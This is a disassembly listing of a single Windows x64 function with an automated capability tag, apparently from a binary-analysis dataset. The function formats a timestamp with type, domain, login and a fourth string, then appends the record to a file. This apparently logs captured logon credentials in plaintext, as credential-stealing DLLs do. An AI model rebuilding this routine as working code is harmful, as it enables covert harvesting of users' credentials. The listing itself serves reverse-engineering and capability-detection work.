Function at 0x1800010b0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x728
mov rax, qword [0x18000d008]
xor rax, rsp
mov qword [rsp + 0x710], rax
xor r14d, r14d
mov rsi, rcx
mov rdi, r8
mov r12, rdx
lea rcx, [rsp + 0x91]
mov rbx, r14
mov r8d, 0xff
xor edx, edx
mov r13, r9
mov byte [rsp + 0x90], bl
mov dword [rsp + 0x70], r14d
call fcn.1800019b0
lea r8d, [r14 + 0x7f]
lea rcx, [rsp + 0x291]
xor edx, edx
mov byte [rsp + 0x290], bl
call fcn.1800019b0
lea r8d, [r14 + 0x7f]
lea rcx, [rsp + 0x191]
xor edx, edx
mov byte [rsp + 0x190], bl
call fcn.1800019b0
lea r8d, [r14 + 0x7f]
lea rcx, [rsp + 0x211]
xor edx, edx
mov byte [rsp + 0x210], bl
call fcn.1800019b0
test r12, r12
je 0x1800013f7
test rdi, rdi
je 0x1800013f7
test rsi, rsi
je 0x1800013f7
test r13, r13
je 0x1800013f7
cmp r14w, word [r12]
je 0x1800013f7
cmp r14w, word [rdi]
je 0x1800013f7
cmp r14w, word [rsi]
je 0x1800013f7
lea rcx, [rsp + 0x90]
xor edx, edx
mov r8d, 0x100
call fcn.1800019b0
movzx r8d, word [rsi]
mov rdx, qword [rsi + 8]
lea rcx, [rsp + 0x90]
call fcn.180001660
mov qword [rsp + 0x38], r14
lea rax, [rsp + 0x290]
mov qword [rsp + 0x30], r14
lea r8, [rsp + 0x90]
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x1800013f7
lea rcx, [rsp + 0x90]
xor edx, edx
mov r8d, 0x100
call fcn.1800019b0
movzx r8d, word [r12]
mov rdx, qword [r12 + 8]
lea rcx, [rsp + 0x90]
call fcn.180001660
mov qword [rsp + 0x38], r14
lea rax, [rsp + 0x190]
mov qword [rsp + 0x30], r14
lea r8, [rsp + 0x90]
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x1800013f7
lea rcx, [rsp + 0x90]
xor edx, edx
mov r8d, 0x100
call fcn.1800019b0
movzx r8d, word [rdi]
mov rdx, qword [rdi + 8]
lea rcx, [rsp + 0x90]
call fcn.180001660
mov qword [rsp + 0x38], r14
lea rax, [rsp + 0x210]
mov qword [rsp + 0x30], r14
lea r8, [rsp + 0x90]
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x1800013f7
mov rcx, qword [section..data]
mov qword [rsp + 0x30], r14
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001400
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
lea rcx, [rsp + 0x311]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x310], r14b
call fcn.1800019b0
movzx edx, word [rsp + 0x84]
movzx ecx, word [rsp + 0x80]
movzx r8d, word [rsp + 0x7e]
movzx eax, word [rsp + 0x82]
movzx edi, word [rsp + 0x78]
movzx r9d, word [rsp + 0x7a]
lea r10, [rsp + 0x210]
mov qword [rsp + 0x60], r10
lea r10, [rsp + 0x190]
mov qword [rsp + 0x58], r10
lea r10, [rsp + 0x290]
mov qword [rsp + 0x50], r10
mov qword [rsp + 0x48], r13
mov dword [rsp + 0x40], edx
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], r8d
lea rcx, [rsp + 0x310]
lea r8, str.__02d__02d__02d____02d:_02d:_02d__r_nType_t:__s_r_nDomain_t:__s_r_nLogin_t:__s__s_r_n_r_n
mov edx, 0x3fe
call fcn.180001030
lea r9d, [r14 + 2]
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x310]
lea r9, [rsp + 0x70]
lea rdx, [rsp + 0x310]
repne scasb al, byte [rdi]
mov qword [rsp + 0x20], r14
not rcx
lea r8, [rcx - 1]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x710]
xor rcx, rsp
call fcn.180001630
add rsp, 0x728
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret